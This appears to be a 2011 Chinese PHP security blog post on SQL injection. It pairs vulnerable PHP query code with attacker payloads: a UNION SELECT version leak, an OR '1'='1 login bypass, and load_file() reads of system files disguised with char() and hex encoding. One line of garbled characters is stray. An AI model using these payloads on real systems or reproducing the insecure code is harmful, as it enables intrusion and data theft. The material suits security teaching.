PHP安全新闻早8点_1113
//2011-11-13 星期日 // 程序员的思维: // Micropoor.php ---代码片段 <?php $id= $_GET['id']; $query= "SELECT * FROM users WHERE id= ' “ .$id." ;" //略 ?> //我们的思维: index.php?id=1+UNION+SELECT+1,@@version+from+users-- // 程序员的思维: //Micropoor.php ---代码片段 <? $user = $_POST['user']; $pass = $_POST['pass']; $link = mysql_connect('localhost', 'root', 'pass') or die('Error: '.mysql_e rror()); mysql_select_db("sql_inj", $link); $query = mysql_query("SELECT * FROM sql_inj WHERE user ='".$user."' AND pass ='" .$pass. "'",$link); if (mysql_num_rows($query) == 0) { echo"<scripttype=\"text/javascript\">window.location.href='Micropoor.html';</sc ript>"; exit; } $logged = 1; ?> //我们的思维: $user = 1' OR '1' = '1 $pass = 1' OR '1' = '1
新闻也疯狂: - 低调求发展0 {0 d& Q9 S i: B$ o! f
SQL语句中MySQL内置的函数经常使用的就是DATABASE()、USER()、SYSTEM_USER()、SESSION_USER()、CURRENT_USER()获取你想要的信息。哦对了,
还有就是load_file().
// 程序员的思维: // Micropoor.php ---代码片段 //注:当前条件:magic_quotes_gpc = off,root SELECT * FROM article WHERE articleid=$id //我们的思维: -1 union select 1,1,1,1,load_file('c:/boot.ini') //变质为: SELECT * FROM article WHERE articleid=-1 union select 1,1,1,1,load_file('c:/boot.ini') //我们的思维变身:(char 函数) -1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105)) //继续变身: SELECT * FROM article WHERE articleid=-1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)